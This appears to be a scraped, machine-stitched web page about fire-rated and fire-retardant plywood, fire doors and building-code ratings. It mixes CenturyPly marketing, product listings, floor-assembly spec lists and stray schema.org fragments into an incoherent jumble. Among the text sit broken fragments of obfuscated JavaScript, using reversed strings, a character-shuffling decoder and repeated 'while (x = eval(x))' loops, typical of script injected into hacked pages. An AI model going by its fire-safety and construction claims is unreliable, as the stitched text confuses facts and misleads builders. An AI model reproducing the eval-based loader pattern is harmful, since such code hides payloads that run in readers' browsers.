Thus, Firewall Technology by containing the spread and toxic gas has the potential to save a lot of lives by giving crucial time to customers to act in the unfortunate event of a fire. When choosing a way to fire-proof your plywood, make sure to take a look at the building codes in your area. For more information on these high performance and proven treatments click fire retardant treatment. Please check your email. - Firewall Technology emits less smoke protecting you from suffocation. "url": "https://www.firefree.com", The firewall technology is currently being offered at no additional cost to customers. It also includes any of the faster burning whole woods. "x.charAt(i+1);try{o+=x.charAt(i);}catch(e){}}return o;}f(\"ufcnitnof x({)av" + Bulk Buy Saving. Fire Retardant Panels. Firewall Technology helps one carry out the above by giving critical time to act and aid in rescue operations by curtailing the spread of fire and smoke generation. Fire Rated. View. Your wood framing members are required to be not more than 16 on center. Plywood is not a fire-rated product. The presence of these stamps is the best way to guarantee that the wood has been infused with approved fire retardants to give it long-lasting protection against fire. span 35' load 20lbs, 6" x 36" Glu-lam support beam 35' o.c. *Please remember that plywood embedded with the Firewall Technology is fire-retardant and not fireproof plywood. span 35' w 4 x 14" purlons 8' o.c. CLUB PRIME is made by a special pre-pressing technique that ensures equal distribution of moisture and adhesive. XL Joinery Novara Shaker 2 Panel Unfinished Oak Internal FD30 Fire Door - 1981mm x 762mm (78 inch x 30 inch) 247.50 incl VAT. From 506.85 View Details. These tests check for char depth under specific burn conditions as well as structural integrity. Click to learn how to select the right lumber for your project Return Policy the rate of fire growth, total heat release, smoke production and burning droplets are measured by testing samples of the products to EN 13823 (The SBI test) and . The smoke-developed number measures the concentration of smoke that wood emits when it is burned. Why should you choose Centuryply product with Firewall Technology ? 19 mm thick ArchitectPly and Club Prime plywood enriched with Firewall technology performs superior under standard test condition to the benchmarks specified by Indian Standards IS 5509, American standards ASTM E84 and British standards BS 476 when measured against critical parameters like flammability, spread ability, penetration and smoke developed index. Fire-resistive construction gives time to discover a fire, suppress it before it spreads, and to evacuate the building, if necessary. The board's excellent fire resistance rating makes it ideal for lining walls and ceilings in commercial spaces like offices and shopping centres, as well as in low rise housing and new build garages. Rawlins Paints stock one of the UK's widest selections of fire retardant paint for wood, timber and plasterboard, including coloured and clear coatings to provide Class 0, Class 1, 30 minute and 60-minute protection from fire. From 663.35 RRP: 704.22 . The door or doors placed in this "fire separation" are also frequently . UL Classified with an FR-S Rating for flame spread and smoke development values of 25 or less. w/3/4" T&G plywood, span 20'-0"', live load 40lbs, 20" TJ'I's @ 16" o.c. Jeld-Wen Internal Flush Paint Grade Plus FD30 Fire Door 2040 x 44mm Retail price From 96.32 each From 80.27 ex. Firefree Communication with a large B2B network of 30 minute fire rated plywood. LP FlameBlock Fire-Rated OSB Sheathing helps you meet fire codes while reducing dead load and wall thickness versus common alternatives. The technology involves the use of nano engineered particles which are embedded in the polymer matrix of a plywood. The first way to do it is to use a pressure treating system to infuse fire-proofing chemicals into the wood. Exterior plywood sheets for outdoor use are made with waterproof glue so they can stand up to the weather. Plywood is fire proofed making it flame retardant to Euroclass C or B. and which, when tested in accordance with UBC Standard 8-1 for a period of 30 minutes, shall have a flame spread of not over 25 and show no evidence of . "@type": "Organization", Firewall Technology increases the duration it takes for fire to multiple across itself or to other neighbouring products. "@type": "Organization", FlameOFF Fire Barrier Paint has been tested to ASTM E119/UL 263 and ASTM E84/UL 723 Fire Endurance standards to meet the requirements set forth by IBC/NFPA Building Codes. Fire-rated plywood is often used in public building construction projects such as hospitals, schools, restaurants, and auditoriums for applications such as wall partitions, ceiling panels, and interior wall panels. If your project requires lumber that has been fire-rated, you need to buy lumber that specifically has a fire rating stamped on it. View our, New Products: USG Ceilings Inspirational Book, Danoline Acoustical Gypsum Inspirational Book, Acoustical Ceilings Performance Substrate, Ensemble Acoustical Drywall Ceiling Estimator, USG Acoustical Ceiling Panels & Acoustical Suspension Systems Catalog (WL294911), STRUCTO-CRETE Brand Structural Panels Portfolio, Levelrock & Durock Brand Fire & Sound Rating Guide, California Transparency in Supply Chain Act, Terms and Conditions for USG Sales/Terms and Conditions for USG POs. They are available in plain and horizontal slatted MDF, Plywood and in Solid Saligna. "++;i For more information please contact your local depot. while (x = eval(x)); Meeting fire codes just got easier - structural strength and code compliance in a single panel. , w/ 1 layer 3/4" wood planking, 3/4" T&G wood, span 15', live load 40lbs, 2"x 10" F/D joists @16" o.c. w/ 3/4" wood flooring, lowered 2" x 4" frame @ 16" o.c., w/ 2 layers 5/8" GWB, 2" x 12" joists @ 16" o.c. Simpson 20-minute fire-rated doors comply with major code requirements for the 20-minute fire safety classification. We store towels, medicine, toiletry supplies, first-aid gear, massage devices, facial steamers, spare Painting your garage is a great way to improve the look of the space and make the walls easier to clean. you can find and compare 30 minute fire rated plywood variants on Rexcer.com at every price and quality range. Most cities will have certain statutes that give guidelines as to when fire-rated plywood should be used. { "telephone": "+1-415-459-6488", w/3/4" T&G OSB, live load 40lbs, 2" x 10" rafters @24' o.c. However, it is essential that fire-retardant plywood is protected from water and moisture throughout the storage and installation process to prevent the chemicals from leaching. Forums. 30 and 60 Minute Fire Integrity Fire-resistant materials and coatings . "x.charAt(i+1);try{o+=x.charAt(i);}catch(e){}}return o;}f(\"ufcnitnof x({)av" + This means that the plywood absorbs little or no moisture from the surroundings. for a 19mm thick ply should be a minimum of 30 min. Modern buildings are designed with safety in mind, and one of the biggest threats to many structures is fire. w/ 3/4" wood flooring, lowered 2" x 4" frame @ 16" o.c., w/ 1 layer 5/8" GWB, 2" x 10" F/D joists @ 16" o.c., w/2 layers 3/4" wood flooring, 1/2" RC channel, Roxul mineral wool, 1 layer 5/8" GWB, 4" x 6" F/D joists @ 16" o.c., w/ 2 laers 3/4" wood flooring, 2 layers 5/8" GWB, 2" x 12" F/D joists @ 16" o.c., w/ 3/4" T&G wood floor, w/ lowered 2" x 4" ceiling @ 16" o.c., w/ 1 layer 5/8" GWB, 3" x 13" GLB @24" o.c., 1-1/8" T&G Plywood floor, ceiling 1 layer 5/8" type X GWB, span 22', live load 60lbs, 2 x 10 F/D 16" o.c., span 18', live load 40lbs, 2 layers 1" wood flooring, , ceiling 2 layers 5/8" type "X" GWB, 2" x 12" @16" o.c.,span 20', load 40lbs, 3/4" T&G plywood, Hat channel 7/8" metal, 1 layer 5/8" type "X" gwb, 2" x 10 ", 24" o.c., live load 40lbs, 1 layer 3/4" T&G OSB, 1 layer 3/4" T&G wood floor, 2 layers 5/8" gypsum board, 2" x 12" F/D @ 12" o.c. One of the more popular is fire-rated plywood, but was exactly is this material? "e;}))++(y)^(iAtdeCoarchx.e(odrChamCro.fngriSt+=;o27=1y%2;*=)yy)0+12>((iif){" + The fire retardant treatment we would always recommend is a factory applied, deep impregnation of all faces. Don't miss the latest insights, news and product offerings from USG. Having any sort of fire safety added to your home is a great thing, but its good to know what this stuff is before you order a batch. Some common thicknesses include inch, 5/8 inch, and 3/4 inch. UK Wide delivery or click and collect. "lc}tahce({)}}of(r=i-l;1>i0=i;--{)+ox=c.ahAr(t)i};erutnro s.buts(r,0lo;)f}\\" + The openings around them merely have to be properly sealed. span 17', live load 20lbs, 1/2" plywood, 2" x 8" @ 24" o.c., span 10', live load 20lbs, 1/2" plywood, 2" x 6" @ 24" o.c., span 8', live load 20lbs, 1/2" plywood, 14" TJI 35 @ 32" o.c., span 24', live load 40lbs, 3/4" plywood, 11" TJI 35 @ 32" o.c., span 22'-6", live load 40lbs, 3/4" plywood, 18" TJI 35 @ 32" o.c., span 30'-6", live load 40lbs, 3/4" plywood, 2" x 12" @12" o.c., 3/4" T&G plywood rafters, span 21', load 20lbs, 2" x 4" @ 24" o.c., 1/2" plywood, span 8', 5" x 20" beams@ 8' o.c. Description. This plywood has been grade stamped and third party inspected to ensure quality. A special chemical process gives the wood properties that result in reduced damage to the structure in a fire. Both internal and external options are available. Double-Plywood (or Plywood), 2' X 10' Wood Joists 1-Hour - Exposed Grid L209 NA 24" x 48"; P 58" 16 113 1, 2 . So the existing standard warranty terms remain applicable. link to What Kind Of Paint For Garage Walls? Products like Interior Pyro Guard lumber and plywood come in 48 sheets in lengths ranging from 8 to 16 feet. w/3/4" T&G plywood, 1-1/2" gypcrete, live load 40lbs, 14" TJ'I's @ 16" o.c. plywood giving them best in class fire-fighting properties. live load 20lb, steel coating by others. This can give those inside the building more time to make their way outside to safety, and it also gives emergency crews more time to control the fire and rescue those who need assistance. ',(az36\\\\02" + { Deanta Internal Ash Fully Finished FD60 Fire Flush Door (54FLFDAX) From 270. The total fire rating is determined by adding each component to reach a minimum total of 60 minutes. High-Performance Fire Resistant and Flame Retardant Paint. And best of . } When in doubt, ask a store associate whether or not the plywood you want to buy makes the grade. It is across the cross-section. - Firewall Technology self-extinguishes itself once the source of fire is removed. The flame spread index of centuryply fire-retardant plywood is 12, which means that it has class A properties and won't burn easily. Before one can realise and act, the raging fire causes irreparable losses like loss of life, trauma, injuries, mental disorders, emotional and financial instability and loss of precious belongings. After being dried in a kiln, the wood is placed inside a retort chamber. If you are searching for a door which offers 60 minutes of fire protection, then you should explore the range of FD60 fire doors available here at Leader Doors today. The stamp is required to be displayed on this type of wood in a highly visible location. Coatings, Inc. Once the source of fire is removed it also acts to self-extinguish the fire. This is another common incorrect call-out by home inspectors. So, if fire is a concern, its crucial to choose a material that works with the risk and is capable of mitigating problems that could arise. "@context": "http://schema.org", Burning droplets/particles are measured for Reaction to Fire classes A2 to E. E-rated products receive a d2 flaming droplet classification. a 30 minute fire door) and usually relates to a composite, an assembled product or a constructed setup. Thank you! This makes it a safer type of wood to use in home structures and backboarding. If you are interested in giving your next construction project the benefits of fire-rated plywood, get in touch with the fire-retardant lumber professionals at Curtis Lumber & Plywood. There are 7 Euroclass classifications ranging from A1 to F. Thus, in case of a fire-related accident, you must first focus on removing the fire source and evacuate yourself. Firefree Class A is a fire retardant coating fully tested to comply with building codes requirements and meet all ASTM E84 requirements, including the ASTM E84 30 Minutes Extended. Can be cut as required. With that said, you dont have to stick to minimum standards to use fire-rated plywood. Resistance is measured in time (e.g. , w/3/4" T&G plywood, w/ 3" concrete, span 7', live load 40lbs, 2" x 13-1/2" joists @ 16" o.c., w/1 layer 1" wood plank & 1 layer 1" T&G wood, span 20", live load 100lbs, 2" x 12" F/D joists @ 12" o.c. Up to 2135mm x 915mm x 44mm Up to 2440mm x 1220mm x 44mm 1981mm x 838mm x 44mm 2040mm x 826mm x 44mm 2040mm x 926mm x 44mm. Please enter the email address you used to create the account. Fire-rated plywood can help protect a building and the people inside it in the event of a fire. A fire retardant additive which can be added to both Polyurethane and Polyester coatings to increase their level of fire retardance. Type X or C drywall is 5/8 inches thick. CenturyPly enriched with Firewall technology is certified as the best in class by Indian , American and British standards when measured against critical parameters like flammability, spread ability, penetration and smoke developed index. roof live load 20lbs, 7-5/8" x 30/36" GLB, span 56', 3/4" plywood, 2" x 4" @ 24" o.c., 8' span, 4" x 12" @ 8' o.c., 20" span, roof live load 20 lbs, 3-1/8" x 16-1/2" joists glb @7" o.c., span 20", 2" x 6" T&G wood decking, 2" x 12" @ 24" o.c. The rapidly spreading fire ignites and destroys everything in its way, the smoke hinders rescue operations and may suffocate people to death. We use cookies to provide a personalized site experience. "@type": "Organization", w/3/4" T&G OSB w/live load 40lbs, 2'x10" joists @ 16' o.c. This numerical point of reference measures how quickly and far a flame will spread during a test that spans 10 minutes. We recommend that suitability of a Euroclass rated panel within the design is based upon 3rd party assessment or independent testing specific to the project in question. - In critical situations, like a fire accident, the human mind usually starts panicking, and thus it becomes difficult to make practical decisions. It combines flame-spread and burn-through resistance to give your customers peace of mind. Those will give you a good idea of what to expect. while (x = eval(x)); Log In. 2" metal joists @ 16" o.c., secondary ceiling with air space, embossed tin, 2" x 6" @ 24" o.c. 117. If someone says "fire-rated plywood," they are probably referring to fire-retardant-treated plywood, or FRT plywood. Wood that has been given a Class C rating has a flame spread number of 76 to 200. "url": "https://www.firefree.com", Firewall technology substantially reduces this emission to a fraction of present levels. When youre first getting used to the world of woodworking, materials become a major cornerstone of your new hobby. CenturyPlys fire- retardant plywood, delays the spread of fire, giving you the much-needed time to rescue yourself and your loved ones. "\\02\\\\\\\\16\\\\01\\\\03\\\\\\\\26\\\\04\\\\03\\\\\\\\\\\"\\\\f(;} orntur" + In other words, you should expect walls made from fire-rated plywood to take one to two hours to burn. w/3/4" T&G wood planking, span 17'-0", live load 40lbs, 11-7/8" TJ'I's @ 24" o.c. Please refer to the technical user guideline "Medite Premier FR 30 minute Partition Wall" and "Medite Premier FR 60 minute . It has been certified as the best in class to fight fire accidents and has some key properties that can be beneficial in the unfortunate event of a fire accident. This technology comes at no additional cost to customers and can be found by contacting fire-retardant plywood suppliers in your area. "@context": "http://schema.org", Doors with mineral cores are typically specified where building codes require fire-rated constructions. Fire can break down a person financially, emotionally and has a long term impact on a persons self-confidence. Writing is her life, and it's what she does best. The only noncombustible structural panel for Types I and II construction. Related Products View All Structural Solutions LP TechShield Learn More LP NovaCore Learn More LP WeatherLogic Learn More LP Legacy In BS fire retardant properties is classified basis testing a plywood for its spread of flame at 90 sec and 10 min and basis the spread it is classified under Class 1, 2, 3 & 4. Perhaps even more importantly, this stamp bears the identification mark or name of the approved inspection agency that tested the wood. Using Fire-Rated Drywall The 5/8-inch, "fire-code" drywall (called Type X) increases a wall's fire rating to a minimum of 1 hour, from the 30-minute rating for standard -inch drywall. Firewall Technology gives customers critical time to act, save their own lives and others, call for fire brigade, ambulances, etc. FD30 FIRE DOOR RANGE. In many projects involving the structural integrity of a home, plywood is the common go-to. Span 23'-6" 3/4" T&G Wood, 1/4" lath w 3/4 " Plaster, ebossed tin, 2" x 14" @ 16" o.c., span 25", live load 40lbs, 2 layers 3/4" flooring, ceiling 3/4" T&G wood, embossed tin, 2" x 12" F/D oak wood @ 12" o.c., span 23', load 40lbs, 1 layer 3/4" wood plank, 1 layer 1 "plaster, 1 layer 3/4" t&g pine, support&frame 1" x 3" wood, tin, 2" x 10" @16" o.c., Span 14'-4", live load 40lbs, 1/4" wood lath, 1/2" plaster 1" wood spacers,embossed tin panels, 2-1/4" X 13-1/4" F/D @ 16" O.C., span 20, live load 40lbs, 3/4" hardwood or tile, 1" wood planking 1" x 3" wood spacers, embossed tin, 2" x 8" F/D @16" o.c., !" J B Kind STP Flush Plywood Kintt6G Fire Door - 1/2 Hour Fire Rated - Wired Fire Glass . It has been certified as the best-in-class fire-safe plywood for fighting fire accidents and has key properties that can be beneficial in the event of a fire. 94949. From 759.79. Any thickness is allowed, but plywood is rated for various spans "for best performance." Look on the plywood sheets and they have a grade stamp, like 24/16. CSA 080.20 for lumber and CSA 080.27 for plywood Copyright Centuryply.com. or 1 layer 5/8" GWB, live load 40lbs, 11-7/8" TJI @16" o.c., w/ 1 layer 3/4" T&G plywood, 1 layer 5/8" GWB, live load 40lbs, 2" X 12" joists @ 16" o.c., span 16', live load 40lbs, w/1/2" plywood, 1/2" soundboard, ceiling 1 layer 5/8" GWB, 2" x 6" joists @16" o.c., span 10', live load 60lbs, 1-1/2" gypcrete, 3/4" osb subfloor, 1/2" type C or 5/8" type "X" gwb, 2" x 10" joists @ 16" o.c. To find out what the minimum standards are for buildings in your area, make a point of looking at your local building codes. A Fire-Retardant-Treated backboard will be designated with a fire-rated stamp "branded" or "stamped" along the edge or center of the plywood"UL FR-S Plywood 1780 R-7003." . These guides will help you determine whether or not you want to use a particular type of fire-rated plywood. Use the link below instead. For fire-retardant wood to be substituted for a noncombustible material, it is required to have a Class A rating. If you need plywood products that are fire rated to meet the specifications of your property's Bushfire Attack Level, we have a range of suitable options. Inorganic materials like tile and brick also fall under the Class A category. Fire-rated plywood is specialty plywood that was made by pressure-infusing plywood with flame-retardant chemicals. - To save yourself from such unfateful devastation, it is prudent to choose fire retardant plywood when youre designing your home or office space. Regardless of where you choose to purchase it, it is essential to look for the official stamp to ensure you are getting genuine fire-rated plywood that has passed the relevant tests. The air is then removed to create a vacuum into which the chemicals are added. Data Sheets, Wildfire System Fire-rated plywood is a type of wood that has been pressure-infused with fire-retardant chemicals, conferring it with permanent protection. w/ 2 layers 3/4" wood flooring, lowered 2" x 4" frame @ 16" o.c., 1 layer 1/2" GWB, 2" x 10" joists @ 16" o.c. This paint is especially suitable for use on insulation board, MDF board, plasterboard, wood . All the other properties of the plywood are retained. ',(az36\\\\02" + Anybody know how long gypsum 12.5mm pink fire board is rated to in minutes. "e;}))++(y)^(iAtdeCoarchx.e(odrChamCro.fngriSt+=;o27=1y%2;*=)yy)0+12>((iif){" + You can usually find them on the tag where the details of the plywood are mentioned in the store. . For testing requirements, see Section 715.4.3. The effect of fire is devastating - causing irreparable damage on life and other assets. ASTM E-2768- A newer standard in fire ratings, this test is usually called a 30-minute version of the ASTM E84 test. a burning candle or a curtain is removed the plywood with Firewall Technology will self-extinguish. In contrast, FRT plywood has a flame-spread rating, but no rating for burn-through resistance. Information about a woods flame spread number and smoked developed number is listed clearly on its label. CenturyPly earnestly requests its customers to be completely and continuously vigilant against all common lapses that cause fire and in case of an unfortunate incident of fire, to immediately take all necessary steps like saving themselves, loved ones, recovering important assets and immediately engage fire engines, ambulances, doctors, electricity, gas authorities or any other authorities if required, to stop the fire. When this type of wood is exposed to a fire, it creates a non-combustible gas and water vapor to hinder combustion. w/20lb live load, 5/8" plywood, mineral wool/cellulose, 1 layer 5/8" type X gwb, 11-7/8" TJI's @ 16" o.c., 1 layer 3/4" OSB T&G flooring, 7/8" gypcrete, 2 layers 1/2" gwb, 11-7/8" TJI's @ 16" o.c., 3/4" T&G OSB , 1 layer 5/8" type "X" gwb, 11-7/8" TJI's @ 24" o.c., span by engineer, 3/4" T&G OSB , 1 layer 5/8" type "X" gwb, 8" TJI's @ 19.2" o.c.span by engineer, load 40lbs, 1 layer 3/4" T&G OSB, 1 layer1/2" plywood, 3-1/2" Mineral wool, 1/2" RC Channel, 1 layer 5/8" type"X" gwb, 2" x 8" joists @ 24" o.c., w/2" x 6" T&G wood flooring, 1 layer 5/8" GWB, live load 40lbs, 2" x 8" joists @ 24" o.c., w/2" x 6" T&G wood flooring, 2 layers 5/8" GWB, live load 40lbs, 2" x 10" F/D joists @ 16" o.c., w/2 layers 3/4" wood flooring, 1 layer 1/2" GWB, 1-5/8" GWB, 2" x 10" F/D joists @ 16" o.c., w/3/4" T&G plywood, 1 layer 5/8" GWB, span 10'-14', live load 40lbs, 2" x 12" F/D joists @ 16" o.c., w/3/4" plywood, 1' T&G wood floor, 1 layer 3/4" GWB, 1 layer 5/8" GWB, 2-1/4" x 12" F/D joists @ 12" o.c., w/ 1" wood planking, 2" x 6" T&G wood floor, 1 layer 5/8" GWB, 2-3/4" x 12-3/4" F/D joists @ 12" o.c., w/ 3/4" wood floor, 1/2" RC channel, 1 layer 5/8" GWB, 1-3/4" x 12" F/D joists @ 16" o.c., w/2 layers 3/4" wood floor, 1/2" RC channel, Roxul mineral wool, 1 layer 5/8" GWB, 2" x 12" F/D joists @ 16" o.c., w2 layers 1" wood floor, 2 layers 5/8" GWB, span 13', live load 40lbs, 11-7/8" TJI's @ 16' o.c., w/3/4" T&G plywood w/ 2 layers 5/8" GWB, 11-7/8" TJI's @ 16' o.c., w/3/4" T&G plywood, 2" gypcrete , 1 layer 1/2" GWB, 1 layer 5/8" GWB, 12" TJI's @ 16" o.c., w/ 2 layers 3/4" plywood, 1 layer 1/2" type "X" GWB, 9-1/2" TJI's @ 24" o.c., w/5/8" T&G plywood, 2 laers 5/8" GWB, RC channel, 1 layer 5/8" GWB, 26" web trusses (metal tubing) 1-1/8" T&G plywood, 1 layer 1/2" GWB, 1 layer 5/8" GWB, 16" x 2" x 4" wood trusses @ 16" o.c., w/ 3/4" plywood, 3/4" gypcrete, RC channel, 1 layer 5/8" GWB, 24" x 2" x 4" wood web trusses @ 24" o.c., w/ 1-1/8" T&G plywood, RC channel, 2 layers 5/8" GWB, 2" x 4" wood trusses @ 24" o.c., 2 laers 3/4" plywood, 1/2" RC channel, Rosul mineral wool, 1 layer 5/8" GWB, 2" x 10" joists @ 16" o.c. Don't worry; you don't have to compromise on style just . Yes, plywood is allowed to protect the rigid insulation. "telephone": "+1-888-990-3388", Premier External Plywood Paint Grade 19G (Pattern 10) Glazed FD30 Fire Door. A: Pressure-treated plywood resists rot and insect damage, unlike traditional, untreated plywood. Your Do You Need to Hire a Framing Contractor? , w/1 layer 1" x 8" wood planking, 1 layer 3/4" T&G oak, span 24', live load 40lbs, 1-1/2"x 13" joists @16" o.c. Giving protection to various wood and wood-derived materials.